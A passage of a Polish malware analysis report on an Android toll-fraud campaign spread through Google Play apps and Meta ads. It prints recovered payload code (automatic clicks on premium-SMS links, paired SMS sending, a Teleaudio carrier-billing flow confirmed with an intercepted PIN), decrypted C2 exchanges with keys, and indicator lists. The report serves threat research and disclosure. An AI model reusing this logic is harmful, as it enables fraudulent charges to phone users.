Odpowiedź rejestracyjna C2 zapisała hyszxc: "PL" w globalnym polu kraju. Gdy aplikacja bazowa miała już uprawnienie RECEIVE_SMS, payload otworzył DialogFragment, którego nie można zamknąć. Cały ekran został utworzony w Javie, a reguły walidacji pobrano z tabeli krajów.

Dla Polski okno wyświetla prefiks +48 i przyjmuje dowolne dziewięć cyfr bez sprawdzania, czy numer jest przydzielony. choćby celowo niemożliwa wartość 000000000 aktywowała więc przycisk.

Odszyfrowanie ruchu zapisanego w formacie PCAP pozwoliło odtworzyć dokładną wymianę:

POST http://47.84.77.127/E8m72HOs operation = 4 key = IV = ASCII("9c382a93c03cadc6") plaintext = {"c":60727718,"n":"000000000","f":"1"} ciphertext = 48 bytes response = HTTP 200 with an empty body

Okno zostało następnie zamknięte, ale późniejsze zadania przez cały czas zawierały NNNNBBBB. Zarejestrowana wymiana nie pokazuje więc, iż serwer C2 zaakceptował niemożliwą wartość jako dane abonenta.

Po lewej stronie widać formularz złośliwego systemu z prefiksem +48. Zrzut ekranu po prawej pochodzi z wcześniejszego uruchomienia i pokazuje, iż Android rozpoznał rzeczywiste ryzyko: Messenger Pro próbował wysłać wiadomość na 92505, co mogło spowodować naliczenie opłaty.

Podczas późniejszego uruchomienia trwającego 240 sekund zarejestrowaliśmy trzy pełne polskie zadania dotyczące wiadomości SMS Premium. Trzecie z nich, o identyfikatorze 865090137, prowadziło w ramach kampanii 10372 przez łańcuch afiliacyjny do aktywnej strony All4You. Jej DOM wskazywał Polskę, numer skrócony 92513, widoczne słowo najważniejsze ALL 64913 i dostawcę RedLeads B.V. Informacje prawne podawały jednorazową opłatę 30,75 zł z VAT za trzy miesiące dostępu.

Aktywna strona zawierała odnośnik SMS:

<a id="smsToButton" href="sms:92513?body=ALL 64913" style="display: block;">Obejrzyj wideo</a>

Pasująca reguła C2 zawierała jedną instrukcję:

document.querySelector("#smsToButton").click();

Chrome DevTools Protocol zarejestrował następujący przebieg:

1789481145.377615 GET sms:92513?body=ALL%2064913 initiator: script hasUserGesture: false

Nawigacji nie wywołało dotknięcie ekranu. Po tym, jak zdalna instrukcja kliknęła odnośnik, interfejs JavaScript payloadu zinterpretował URL sms: i wywołał systemowe API SMS dla obu form numeru skróconego:

{"destination":"92513", "body":"ALL 64913", "blocked":true} {"destination":"+92513", "body":"ALL 64913", "blocked":true}

Nie nadeszła pasująca odpowiedź DA ALL. Po 68 270 ms operacja 3 zwróciła wynik 305, a operacja 5 przesłała ślad zawierający nazwę strony, URI SMS, polecenia interfejsu i wyrażenie używane do wyszukania odpowiedzi. Widoczna skrzynka odbiorcza pozostawała na ekranie, podczas gdy osobny WebView zadania działał dalej w procesie aplikacji.

Obsługa SMS i wybór sieci komórkowej

Domyślny payload rejestruje odbiorcę SMS_RECEIVED, analizuje przychodzące wiadomości i dodaje ich treść do aktywnej kolejki zadania. Polecenie interfejsu popMsg przeszukuje kolejkę wyrażeniem regularnym przekazanym przez C2. Wiadomość zaczynająca się od rch wywołuje również osobne żądanie parowania, które wiąże sufiks i nadawcę z identyfikatorem urządzenia w C2.

Operacja 3 zgłasza identyfikator zadania, kod wyniku, czas wykonania, strony pasujące do reguł oraz opatrzone znacznikami czasu rekordy wiadomości SMS, powiadomień i błędów. Operacja 5 może dodatkowo przesłać ślad tekstowy i zachowany kod HTML. Dzięki tym informacjom serwer C2 może odróżnić brak wiadomości, zmianę selektorów na stronie i odrzucenie transakcji przez dostawcę. Wszystkie kontrolowane uruchomienia zwróciły wyniki oznaczające niepowodzenie.

DEX domyślnego payloadu zawiera też com.jk.NoteListener, który może wyodrębniać tekst powiadomień i wywoływać cancelAllNotifications(). Klasa nie występuje w zewnętrznym manifeście, a w DEX payloadu nie ma innych odwołań do niej. Manifest deklaruje tylko niepowiązaną, pustą usługę powiadomień. Nie przyznaliśmy dostępu do nasłuchiwania powiadomień, dlatego funkcja ta nie została aktywowana. Payload dla wybranych państw ma bardziej bezpośrednią ścieżkę wstrzykiwania opisaną dalej.

Payload żąda zestawienia połączenia z TRANSPORT_CELLULAR i NET_CAPABILITY_INTERNET, zapisuje otrzymany obiekt Network i może powiązać z nim proces aplikacji:

NetworkRequest request = new NetworkRequest.Builder() .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET) .addTransportType(NetworkCapabilities.TRANSPORT_CELLULAR) .build(); connectivity.requestNetwork(request, callback); connectivity.bindProcessToNetwork(mobileNetwork);

Płatności przez operatora często opierają się na identyfikacji abonenta przez sieć komórkową, dlatego jest to podstawowa funkcja, a nie mechanizm awaryjny. Zaobserwowane zadania używały WebView, który nie był osadzony w widocznym komponencie Activity aplikacji Messenger Pro. CDP rejestrował nawigację i JavaScript z C2, gdy na ekranie pozostawała skrzynka odbiorcza. Inne mechanizmy wykonawcze mogą korzystać z wirtualnego ekranu, ale nie zaobserwowaliśmy tego trybu i nie przypisujemy go uruchomieniom All4You ani Teleaudio.

Płatności przez operatora w usłudze Teleaudio

Aktywny C2 przesłał reguły automatyzujące obsługę dcb.teleaudio.pl, ale payload nie polegał wyłącznie na zdalnym kodzie JavaScript. Zawierał też dedykowaną maszynę stanów, aktywowaną, gdy adres URL zadania miał znacznik pl_protocol, a nawigacja zaczynała się od https://epayment.teleaudio.pl/api2/.

Ciągi znaków były chronione dzięki StringFog XOR z powtarzającym się kluczem. Po ich odszyfrowaniu odzyskaliśmy pełną sekwencję żądań przedstawioną poniżej. Symbole zastępcze oznaczają wartości wyodrębnione z pierwotnego adresu URL lub odpowiedzi:

Krok Żądanie i cel
0 GET adresu epayment.teleaudio.pl/api2/... przekazanego przez serwer. Wyznaczenie <product> z początkowego URL oraz <transaction> i <sid> z wynikowego URL.
1 GET http://epayment.teleaudio.pl/api2/cellular_<product>/direct/open?transactionId=<transaction>&sid=<sid> i przejście do zwróconego URL.
2 Jeśli numer nie pozostało dostępny, uwierzytelnione żądanie GET do https://epayment.teleaudio.pl/api2/cellular_<product>/direct/transaction2/cellular/<transaction> i odczytanie order.msisdn z odpowiedzi JSON.
3 POST https://epayment.teleaudio.pl/api2/typeundef_<product>/direct/proceed z identyfikatorem transakcji, MSISDN, znacznikiem operatora i typem połączenia.
4 Oczekiwanie na SMS pasujący do 2::(kod|PIN|code).*?(\d{3,6}).
5 POST https://epayment.teleaudio.pl/api2/ta/direct/confirm z identyfikatorem transakcji i przechwyconym PIN.
6 GET https://epayment.teleaudio.pl/api2/ta/direct/status/<transaction> i wyszukanie polskiego komunikatu powodzenia.

Treść dwóch obiektów JSON można odtworzyć następująco:

// /direct/proceed { "TransactionId": "<transaction>", "Msisdn": "<number>", "Carrier": "U", "Consents": null, "Connection": "typeundef" } // /direct/confirm { "TransactionId": "<transaction>", "Pin": "<captured_code>", "Consents": null }

Żądanie informacji o transakcji i kolejne wywołania API ustawiają Authorization: Bearer <sid>, a żądania POST dodatkowo Content-Type: application/json. Maszyna stanów zgłasza kod 901, gdy nie może odzyskać MSISDN, 902, gdy odpowiedź z /direct/proceed zawiera ERROR, 305, gdy nie nadejdzie PIN, i 903, gdy na końcowej stronie stanu brakuje tekstu Transakcja zakończona pomyślnie. Tylko odpowiedź zawierająca to zdanie daje kod powodzenia 100.

Logika protokołu zaszyta w kodzie pokazuje, iż obsługa polskich płatności nie zależała wyłącznie od zdalnych reguł. Pobrany DEX zawierał strukturę API dostawcy, pola JSON, obsługę tokena bearer, wzorce polskich wiadomości SMS i tekst powodzenia.

Następnie porównaliśmy maszynę stanów odnalezioną w kodzie z zachowaniem zaobserwowanym podczas działania. Nowa instalacja z wirtualnym połączeniem komórkowym otrzymała zadanie 865195912 dla kampanii 10371. Reguła C2 pasowała do consulate.teleaudio.pl/dcbev/ta2.* i próbowała wyodrębnić numer z #pin-label-id. Numer się nie pojawił, dlatego operacja 4 nie została wywołana. Ślady payloadu i CDP pozwalają odtworzyć ścieżkę:

l21smh2x[.]com campaign 10371 -> century-mobile[.]com/uf/step -> consulate.teleaudio[.]pl/dcbev/ta2/ufor/... -> epayment.teleaudio[.]pl/api2/wifi_nmd/direct/transaction2/wifi/<transaction>

Końcowa strona Direct Billing AoC zawierała puste pole numeru telefonu, wyłączony przycisk Dalej i następujący polski tekst:

Opłata 17,00 zł naliczana co 7 dni Wprowadź swój numer telefonu Za chwilę otrzymasz wiadomość z kodem PIN, którym zatwierdzisz zamówienie.

Formularz nigdy nie pojawił się w widocznym komponencie Activity. Podczas rzeczywistego wykonania payload ładował i obsługiwał tę stronę w WebView działającym w tle. Użytkownik jej nie widział, a na ekranie pozostawała skrzynka odbiorcza. Na potrzeby dokumentacji otworzyliśmy zarejestrowany adres URL kampanii w Chrome na urządzeniu testowym, aby pokazać tę samą stronę w zwykłym widoku mobilnym.

Aktywna strona subskrypcji Teleaudio otwarta w Chrome na urządzeniu testowym dzięki zarejestrowanego adresu URL kampanii. Złośliwe oprogramowanie dotarło do tego samego formularza w WebView poza widocznym interfejsem komunikatora.

CDP i operacja 5 zarejestrowały żądanie GET do punktu API sprawdzającego transakcję wifi_nmd. Po 73 641 ms operacja 3 zwróciła wynik 302. Zarówno przejście do strony docelowej, jak i odpytanie o transakcję zaobserwowaliśmy podczas działania aplikacji. Późniejsze żądania kontynuacji, potwierdzenia kodu PIN i sprawdzenia stanu pozostają funkcjami wykrytymi statycznie.

W tym samym procesie ukończono zadania Games2day, Mind+ i Bitegames oraz rozpoczęto zadanie Learn English. Games2day próbował wysłać GRAM 23844 na 92512 i +92512, a niezależne polecenie żądało wysłania rch59424826 na +447752070662. Żadna z tych wiadomości nie dotarła do sieci komórkowej.

Poza zaobserwowanymi zadaniami odkodowane klasy i szablony obsługiwały punkty API tajskich operatorów AIS, DTAC, True i Mobilelife oraz procesy zakupu usług u indonezyjskiego Telkomsel, kenijskiego Safaricom i południowoafrykańskiego MTN Secure-D. Ogólne zadania mogły łączyć żądania HTTP, wyodrębniać wartości i czekać na wiadomości SMS. Integracje z 2Captcha i Anti-Captcha wskazują, iż operator spodziewał się zabezpieczeń przed botami w procesach aktywacji usług. Pomijamy osadzone dane dostępowe do usługi CAPTCHA.

Payload Messenger Pro dla MCC 208 i 460

Podczas naszej obserwacji ta gałąź Messenger Pro nie była wybierana dla Polski, ponieważ reguły wymieniały tylko MCC 208 i 460. Późniejsze reguły Phone Cleaner Master pokazują, iż operator mógł przypisać polskie urządzenia do tej samej rodziny payloadów AqMu w innej wersji aplikacji.

Protokół C2 i przydzielanie zadań

Dla MCC 208 i 460 w zaobserwowanych regułach Messenger Pro etap 2 wybiera inny DEX i protokół C2. Payload używa stałego adresu http://47.84.194.202/asnvoycs, identyfikuje pakiet w każdym żądaniu i przenosi parametry w obiekcie akcji. Ponownie używa AES-CBC z wektorem IV równym kluczowi, ale obie wartości wyprowadza z osadzonego hasła u18r3ze2:

MD5("u18r3ze2") = 5f52a1692dc5d4279ca44cb9d34a582a key = IV = ASCII("5f52a1692dc5d427")

Rozpoznawane akcje obejmują rejestrację rrss, odpytywanie lub wynik zadania dkco oraz akcje raportujące gxns, ykty i hchs. Serwer może odpowiedzieć jawnym tekstem JSON albo szyfrogramem AES.

Ścieżka dla wybranych państw odrzuciła rejestrację zawierającą polski MCC kodem HTTP 500, zgodnie z regułami modułu ładującego. Następnie użyliśmy kontrolowanego profilu francuskiego (20801) i wykonaliśmy jedną rejestrację oraz jedno odpytanie.

W żądaniu rejestracyjnym przesłano identyfikator instalacji, MCC/MNC 20801, identyfikator subskrypcji, wersje Androida i dane o źródle instalacji. W odpowiedzi serwer przypisał identyfikator 245651 i zwrócił stronę docelową dla FR:

{ "zpri": 0, "ljyq": { "odrv": 245651, "tkyb": true, "qhjq": "https://x.euono.com/r.html?c=FR", "tpiw": true } }

W kolejnym żądaniu klient zgłosił dostęp do wiadomości SMS i wybraną subskrypcję. Serwer odpowiedział adresem strony płatności, zdalnym kodem JavaScript i niezależnym poleceniem wysłania wiadomości SMS:

{ "zpri": 0, "ljyq": { "bjxv": "+447752070662---gs:245651", "tunj": { "mqjh": 1, "wsil": "https://auezon.com/QgybEYAV?aff_sub2=10447&aff_sub3=3501-245651-0", "dybc": "https://x.euono.com/fokr/main.v2.js", "uhlx": 3501, "mdly": 101, "imet": false, "vbxi": {} } } }

Nie wykonaliśmy żadnej instrukcji. Oba serwery C2 zwróciły numer docelowy SMS +447752070662. Protokoły, adresy IP C2 i treści poleceń różnią się, ale numer jest wspólnym elementem operacyjnym obu gałęzi. W połączeniu ze wspólnym modułem ładującym i regułami wyboru ścieżki stanowi to mocny dowód, iż oba payloady należą do jednej operacji.

DEX AqMu z Phone Cleaner Master jest odrębną, zaciemnioną wersją tego samego szkieletu payloadu dla wybranych krajów. Oba zawierają 112 klas z takim samym rozkładem rozmiarów pakietów i zachowują tę samą konfigurację adresu zapasowego oraz raportowania zdarzeń. Ich podstawowe adresy C2 i hasła różnią się, co wskazuje na konfigurację adekwatną dla danej wersji, a nie jeden wspólny punkt komunikacji. Nie odpytywaliśmy C2 Phone Cleaner Master, dlatego opisane poniżej francuskie zadania są wyłącznie dowodem pochodzącym z serwera AqMu aplikacji Messenger Pro.

Zadanie dla wybranych państw odwoływało się do main.v2.js. Pobraliśmy ten plik jako materiał dowodowy i nie wykonywaliśmy go: 33 663 bajty, 1 045 wierszy, SHA-256 a2f292da1eb6da3bcd1b2bf2340478c2f02a4844bfaa85f00d6e4820bbbe597a.

Skrypt zawiera 43 reguły dyspozytora i jawne procedury obsługi 10 francuskich numerów skróconych SMS Premium:

81054 81056 81059 81067 81092 81097 81174 83767 84071 84072

Jedna funkcja pomocnicza wysyła obie formy numeru skróconego:

function sendSmsPair(numm, text) { window.JBridge.call('textTo', numm + '---' + text); window.JBridge.call('textTo', '+' + numm + '---' + text); }

Procedury analizują adresy URL sms:, wysyłają ich treść i wywołują popMsg do 12 razy, czekając na OK albo odpowiedź zawierającą od 3 do 6 cyfr. Następnie wysyłają potwierdzenie, na przykład DA, DA KROX, DA GBT, OK albo pierwotną treść. Ogólna procedura awaryjna obsługuje nieznane wcześniej odnośniki sms:. Inne reguły wstawiają MSISDN poprzedzony francuskim kodem kraju, klikają elementy sterujące i zgłaszają aplikacji kod końcowy.

Taki podział funkcji ma praktyczne znaczenie operacyjne. APK zawiera stały zestaw funkcji, a zdalny skrypt można zaktualizować, gdy dostawca usługi zmieni stronę lub składnię wiadomości SMS.

Dodatkowe możliwości payloadu dla wybranych krajów

DEX dla wybranych państw zawiera trzy istotne funkcje, których nie aktywowano podczas naszych testów:

Możliwość Implementacja
Przechwytywanie powiadomień Używa HiddenApiBypass i wewnętrznych mechanizmów ActivityThread Androida, aby zastąpić procedurę obsługi działającej usługi nasłuchującej powiadomień. Przechwycony tekst trafia do kolejki zadań, po czym payload może usunąć powiadomienia.
Wybór jednej z wielu kart SIM Wylicza aktywne identyfikatory subskrypcji i żąda TRANSPORT_CELLULAR z NET_CAPABILITY_SUPL dzięki TelephonyNetworkSpecifier. Pole C2 mqjh wybiera subskrypcję, co wskazuje na próbę skierowania aktywności przez wybraną kartę SIM.
Przekaźnik sieciowy Implementuje strumienie TCP, UDP i WebSocket z ramkami wraz z logiką ponownego łączenia, kontroli stanu i raportowania zdarzeń. Osadzona konfiguracja odwołuje się do 129.226.172[.]250, 47.84.188[.]213/abxy/relay i api.appbhwljk[.]com/api/v3/wkev.

Żadna z aktywnych odpowiedzi nie włączyła tych funkcji, a my nie kontaktowaliśmy się z adresami przekaźnika. Po aktywacji mechanizm mógłby wykorzystać połączenie komórkowe ofiary jako wyjście do internetu, niezależnie od oszustwa subskrypcyjnego.

Podsumowanie

Podczas analizy zabezpieczyliśmy 1235 reklam Meta. Z 17 złośliwymi aplikacjami w Google Play powiązaliśmy 852 reklamy wyświetlane pod 60 zidentyfikowanymi nazwami profili. W sześciu aplikacjach odzyskaliśmy moduły toll fraud albo potwierdziliśmy bezpośrednie powiązania z payloadami. Jedenaście kolejnych zawierało powiązane moduły ładujące, ale nie odzyskaliśmy ich końcowych modułów realizujących oszustwo. Ponowne użycie identycznych obrazów reklamowych łączyło warstwę dystrybucji przez płatne reklamy. O powiązaniu samych aplikacji świadczyły architektura modułu ładującego, infrastruktura reguł, dane WHOIS, obiekty OSS i konfiguracje payloadów.

Analiza Messenger Pro pokazuje, iż dystrybucja przez Google Play nie przesądza o bezpieczeństwie aplikacji. Widoczny komunikator wiarygodnie uzasadniał uprawnienia do wiadomości SMS, natomiast cztery warstwy kodu wykonywalnego oddzielały oszukańcze wykorzystanie tych uprawnień od wersji aplikacji przekazanej do weryfikacji w sklepie.

Aktywne odpowiedzi C2 potwierdziły, iż zaimplementowane funkcje były przeznaczone także dla polskich użytkowników. Mechanizm kontroli zaakceptował MCC 260, reguły wybrały domyślny payload, a payload zarejestrował urządzenie jako PL i otrzymał reguły automatyzujące proces Teleaudio. Podczas jednego uruchomienia urządzenie załadowało aktywny formularz subskrypcji Teleaudio i wysłało żądanie do API sprawdzającego transakcję. Nie podano numeru telefonu ani kodu PIN, więc transakcja nie przeszła dalej. Odrębne zadania prowadziły do innych polskich stron subskrypcji i próbowały wysłać wiadomości SMS Premium na 92505, 92512 i 92513.

Phone Cleaner Master pokazał, iż przypisanie kraju może zmieniać się między wersjami. Jego reguły zawierały PL260, przez co polskie urządzenia wybierały payload AqMu skonfigurowany z innym adresem C2. Polska nie była więc na stałe przypisana do domyślnej ścieżki Messenger Pro. Operator mógł kierować urządzenia z tego samego kraju do różnych rodzin payloadów, zmieniając zdalne reguły i rozpowszechniając odpowiednio skonfigurowane wersje aplikacji.

Wszystkie aplikacje odkryte podczas analizy zgłosiliśmy firmie Google, a Google usunęło je ze sklepu. Meta usunęła również zgłoszone przez nas reklamy, choć inne reklamy w ramach tej samej operacji mogły pozostać aktywne bez naszej wiedzy albo wygasnąć samoistnie. Pojedyncze usunięcia przerywały określone ścieżki instalacji, ale pojawiały się nowe pakiety, infrastruktura C2 przez cały czas działała, a kopie zainstalowane wcześniej mogły się z nią komunikować.

Operator oddzielił stałe funkcje od zmiennej logiki biznesowej. Zaszyfrowane etapy DEX ukrywały cel modułu ładującego, magazyn obiektowy dostarczał wymienne payloady, reguły pozwalały przypisywać kraje do różnych gałęzi, a zdalny JavaScript dostosowywał implant do poszczególnych stron płatności. O sposobie działania operacji świadczy przede wszystkim ta architektura, a nie pojedyncza domena.

Wskaźniki kompromitacji

Wskaźniki zaobserwowano lub odzyskano między 14 a 21 września 2026 roku. Wartości sieciowe zneutralizowano (ang. defanged). Adresy docelowe rozliczeń i programów afiliacyjnych oddzielono od infrastruktury przypisanej do operacji modułu ładującego.

Messenger Pro

  • Pakiet: com.messages.sms.messenger.textmessage.owyo
  • SHA-256 bazowego APK: dfe8f46ab3cefa99382f9d2a4dab881cb9551497e9bc5d6a95fe4cf4b7c8df03
  • SHA-256 pakietu konfiguracyjnego ARM64: ce6cd404fbf7f5ef42afebe04ecfb0d4349884cadfbe7e0ad92cf023f9df07ed
  • SHA-256 certyfikatu podpisującego: 44e4971490a2b876a204ca1d9f5e87d0b4e7a8354258368267befa222a88d679
  • SHA-256 certyfikatu Source Stamp: 3257d599a49d2c961a471ca9843f59d341a405884583fc087df4237b733bbd6d
  • SHA-256 DEX etapu 1: 2f3093e9790e541c626b58c058c1098ca8ea25abab875771b285dcae04b1298e
  • SHA-256 DEX etapu 2: c21361d183d7b649e6af869a911e210ff8a293fcb91695694992a1428fb5bf28
  • SHA-256 DEX domyślnego payloadu: 8ffa31b8d6ba3ba217b4f658539b6c6894d75709842482c2248d056ee080a79c
  • SHA-256 DEX payloadu AqMu: 79e3a8b1b19f1af6c80e728d32652e11a63c1d35517dd448760249fc42efceb7
  • SHA-256 zdalnego main.v2.js: a2f292da1eb6da3bcd1b2bf2340478c2f02a4844bfaa85f00d6e4820bbbe597a
  • Endpoint reguł: api.tehsnb[.]link/sabd/mckd
  • C2 domyślnego payloadu: 47.84.77[.]127
  • C2 payloadu AqMu: 47.84.194[.]202/asnvoycs
  • Początkowe identyfikatory Biblioteki reklam Meta: 1101937705505412, 4635863290017072

Phone Cleaner Master

  • Pakiet: com.ms.phonecleaner.clean.junk.pkoza
  • SHA-256 bazowego APK: 6dafefa5a88dea6021028b4b58c58e60422af96296318c84cf898bd3aecc4ee9
  • SHA-256 pakietu konfiguracyjnego ARM64: 6ff20ddfb5d3fda08aea05f70af1d907ed782b3e043a2ee98a98ef2361824f8b
  • SHA-256 certyfikatu podpisującego: 71fd2453a6303058e193cef446fb796a59c6d0ab1f1c9cf9c887fec5b6a34089
  • SHA-256 DEX etapu 1: eb51fea688ded3ae08fbde2130b859c70e90ce4730f9464120b2ffab087946de
  • SHA-256 DEX etapu 2: 20e97d2717fca6cb4216f762d0c9cffe5b314e1331591d9800f827e988450711
  • SHA-256 DEX payloadu AqMu: aa06f574b48b2ee071d6488616280be91a2854b38a702c3a2cc92cb2824413aa
  • Endpoint reguł: api.hsbdbv[.]link/mkds/cneu
  • C2 payloadu AqMu: 47.84.193[.]174/j26j8vf7
  • C2 gałęzi domyślnej: 47.84.57[.]5

Inne reklamowane aplikacje należące do operacji

Cool Wallpaper - com.supono.ihgsvco bazowy APK: 0ddbae8ed57090473cacca22bdfe2bdc2456276a7091633b529729ad86798bd6 Max Messenger - com.maxmessenger.sms.pkqlav bazowy APK: dbbe94fb651a16664ac745a07ad4937eea6605ecf9079ff032ba600ca79f96b9 pakiet konfiguracyjny ARM64: 79b095e3e565edad6704ed7886d6fb465ae63d96f16f10f7e52e3da1977c1236 etap wyboru ścieżki ARM64: ec5428f45615256db30497661ca5c081ce53b97b6084c0841d77f4c33f425e66 Text Chat - com.text.chat.messaging.sms.vccqaho wariant APK: 7e94933820874bde642743e839fd079e2d9084d473b807af97ed361f55fc31d1 wariant APK: 84c5a91e25ce62bc8ca7ca6e70f50be639cb98974ede2bcc51c3ee6fcb72065a wariant APK: c5f908441cfe3437b1f51497dc9608f77204a00265edd1a6d840aebfa3f28786 PDF Scanner Art - com.pdfscanner.artyo bazowy APK: 245940bf77583138de870d91628b26c2d6ea480a711dd9b38922f985ceafcd48 Seed Text Messages - com.seeds.textsms.avon bazowy APK: c35febe019f51ab161fa884d7d5c2c377e1450a7054b4f059eca34e4ec1085cb Instant Messages - com.instantmessages.textdatamessages bazowy APK: 4dcac05ba219fe5c94d8420e7dbfa4594c2e56f76bcb54fbe3a7ff2be161a96a Short Messages - com.shrtsms.xxmessages bazowy APK: 933c241a27cb83613cba5229422951d8080c77a58784cc31dc0b58d5a03e6259 Text Messages - com.cuff.textsms.messages.patk bazowy APK: 1126d64ee7d490fb8bb92c419a5bb110f928148c14ee62b855b8d7d3f846d315 Quick Chat Message - com.chatmessages.textsmsmessanger bazowy APK: d2d38925e3446b62819fd959feb171a7873842801826d54227924bcd7afb8596 PDF Scanner Pro - com.pdf.quantum.scanner bazowy APK (2.1.5): a6bc28f9bec74184eaa54411437c8a2de40f72532d357a9f4b9f4173ed3458b5 pakiet ARM64: 560809e38aa3ce2078c31b4ffea2d41bcac977492a69e34f23fca6c7d93785be libjcxo.so: f39ab5ea54a99e6e78abd00061095c3063008b2c7378594a78959fb4dadb3c02 certyfikat podpisujący: 3434983b6011020573f2243931681eceb412d2055e43366081633813cc6e38e9 Text Magic Messages - com.efasms.magical.tmmssages bazowy APK (1.1.61): d004bb904083d2ef95cc0ccdcbf4b08c4afd1ee7aae2dbff06cb5c118e41dfe3 certyfikat podpisujący: 490a66c35052771c163db9c3d1da3abd37da8f7c2f5b8e42b3770d31fed16dcf Lite PDF Scanner - imagetopdf.pdfconverter.jpgtopdf.avabcl bazowy APK (2.1.5): b14b55947ba425ed5517e0c9e5d68c23095223c3900e14d327041f7a10759836 certyfikat podpisujący: 6a81aba88c00fa3c25cb12abc2439200e36501dc4635b3a77e090f7254661890 Text Message Pro - com.tipro.smstext.message bazowy APK (2.4.1): 9970a7da384f4a338c042a9857a8fb784bfbe608449c2c3ca29285a01ec84e79 certyfikat podpisujący: 4e3a17d46264063db19ad2a1f3e529a142d4b46296bf80d8c2ab27f400e93cb7 Go Cleaner Pro - com.merclean.approximating bazowy APK (1.0.2): 8ea135151465aa072c02b8a143d50a23a711bdda4cf29a8e91b57c0c2f5b8883 certyfikat podpisujący: 99beee6b30978300d75dffe3ce3a0beab6a93faf1e317df0ca818760438ef54f Quick Message Pro - com.msg.quick.secure.chsrkm bazowy APK (1.10): bfa4dab9fb2ee21b39964651b67ef47bb80ddcfc8fb969dcecd121e83bf06667 certyfikat podpisujący: ab580c934dec46e5afe36698afe74ad59a81170eeda1e9ba0f3b1d691fa6266b

Powiązane próbki modułów ładujących użyte do analizy infrastruktury

Storage Cleaner - ai.storage.cleaner.phonecleaner.junkfiles.wlchyh APK: 3af3f780722cb9bba958f85f0843112501f15922c30151ec04c767e1992aa5bd Document Reader - fast.documentreader.pdfviewer.kqvndr APK: 45eec140149f10096368e7ca83af958805fcf5a2f59f0894c6cea197bf4c56d7 Smart Clean - com.smartcleansdhcn.tools APK: 782fd6241a07831c7539b1c106c54fdf1be62d9a5bac2139ea42d4fdbd7799ad APK: 9a2af014ce573f3480e528bb4a0949ed2d4f47fecaf747f8bb5a05ea45da7457 APK: a19e349b7aa3cec11e4ce4175eeb20992495ac6b33433f6d856093d5f3f19bd4 Clean Max - com.cleanmax.imam.cleaner.upvvpdh APK: 228f177aacd2bd84da3954d69f4ae430478027728b4eb990815f79a1a36f6276 Frekas - com.storage.phone.delete.frekas APK: a62e4dff996e366aa138649a3451ce6a563e73b0f456c7f2ad5aaeba99f12e01 Powiązanie przez certyfikat AI Cleaner - com.phonecleaner.aicleaner.junkcleaner.qmqhkr APK: 4d4ec634a6ddb497eb90b5eaa824cc0cacd878cba6143da19d7433ede888d397 Powiązanie przez certyfikat wcześniejszej aplikacji PDF - com.pdfscanner.sgiwncl APK: df3cad997d5a286c1f3609acd0c436a8962baa4a4d6a9172ab8c46a140f6b4ca

Kampania reklamowa z inną implementacją

  • Aplikacja: Colorful Message
  • Pakiet: com.colorsms.poetry.messages
  • SHA-256 bazowego APK: e624939f6a73e3bfce5587a2ba0c461363909dd31cf912b04f88a525aada71dd
  • SHA-256 pakietu konfiguracyjnego ARM64: a6bb91620972efb5895291658d15e474428304d40421099efdd9b33072b5b57c
  • Endpoint reguł: api.piaagt[.]click/view/colorful-messagee/home
  • SHA-256 identycznego obrazu reklamowego: 7299f7de6acf366fc7f32f7c3873a09e11a08d9493aaa508cd2b2ee816c5d284
  • SHA-256 najczęściej ponownie używanego pliku reklamowego: 90b87d8b4dda273ef64853a9997bba0844f0bc02071ae5101d1be2693be1b861

Aplikację Colorful Message łączą z operacją identyczny plik reklamowy oraz wspólny host api.piaagt[.]click, ale jej APK korzystał z innej ukrytej implementacji natywnej. Wskaźników tych nie należy interpretować jako dowodu, iż aplikacja zawierała ten sam kod modułu ładującego.

Pełny zbiór analityczny zawiera 1235 unikalnych identyfikatorów Biblioteki reklam Meta. Identyczne pliki reklamowe łączą z tym samym zbiorem dystrybucyjnym także poniższe pakiety. Odzyskane wersje APK nie ujawniły jednak modułu ładującego operacji:

Easy Messages Pro - com.smstext.easymessages.messengerpro - 15 reklam bazowy APK: ac181590a54dceda2e6b61bbd096943d2e122adb6cb855a8dbfbb4f2c9bdec43 Comic Reader - com.sth.grumb.plays - 4 reklamy bazowy APK: 4be8f742726d57572332651fa91e07c010a25a92fd410446e87d486544bd6d11

Zidentyfikowaliśmy także następujące reklamowane pakiety już po tym, jak ich pliki APK stały się niedostępne, dlatego nie mogliśmy odzyskać ich skrótów:

Aplikacja Pakiet Reklamy
Light SMS com.chat.lightsms.messages.tmessaging 25
Easy Messages com.easymessages.textsms.messages 15
Nazwa wyświetlana niedostępna com.trusted.pdfeditor.xnqala 11
Nazwa wyświetlana niedostępna com.goconversation.motsms 10
Nazwa wyświetlana niedostępna com.sms.mms.message.chat.onih 10
Nazwa wyświetlana niedostępna com.purelyclean.puressd 7
Nazwa wyświetlana niedostępna site.plmn.qazcaqzsw 4

Infrastruktura aktywacji modułów ładujących i reguł

api.bcvsri[.]link api.sdbnxm[.]link api.trixbn[.]link api.fdghsn[.]link api.fgsbns[.]link api.ghdnbv[.]link api.hsbdbv[.]link/mkds/cneu api.ksbxnc[.]link api.tehsnb[.]link/sabd/mckd api.yandeb[.]link/cnjd/mckdjf api.uhsbxh[.]link/ehed/mcdjd api.evabunt[.]link/ywes/tmop api.piaagt[.]click/foung/shrts api.fuzwek[.]click/pekui/zzmer api.vamko[.]click/edapsn/sewkx api.swepqk[.]click/zleir/oyfen api.piaagt[.]click/rumag/ksgpr api.funtpjw[.]click/rumag/ksgpr api.tegonp[.]click/ver1/textmg api.merfunk[.]click/dafiv/taqmg api.dokersxxnv[.]click/naizboa/bhbdxcm

Magazyn payloadów

boitim.oss-eu-west-2.aliyuncs[.]com/taoxe tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2115 tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2116 tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2124 tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2132 tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2145 tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2150 tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2154 tuonew.oss-me-east-1.aliyuncs[.]com/aqmu2155 msg.fastcleaa[.]link/xsW23Q5kk bsmt.oss-ap-southeast-1.aliyuncs[.]com/af68

Infrastruktura C2, adresów zapasowych i raportowania

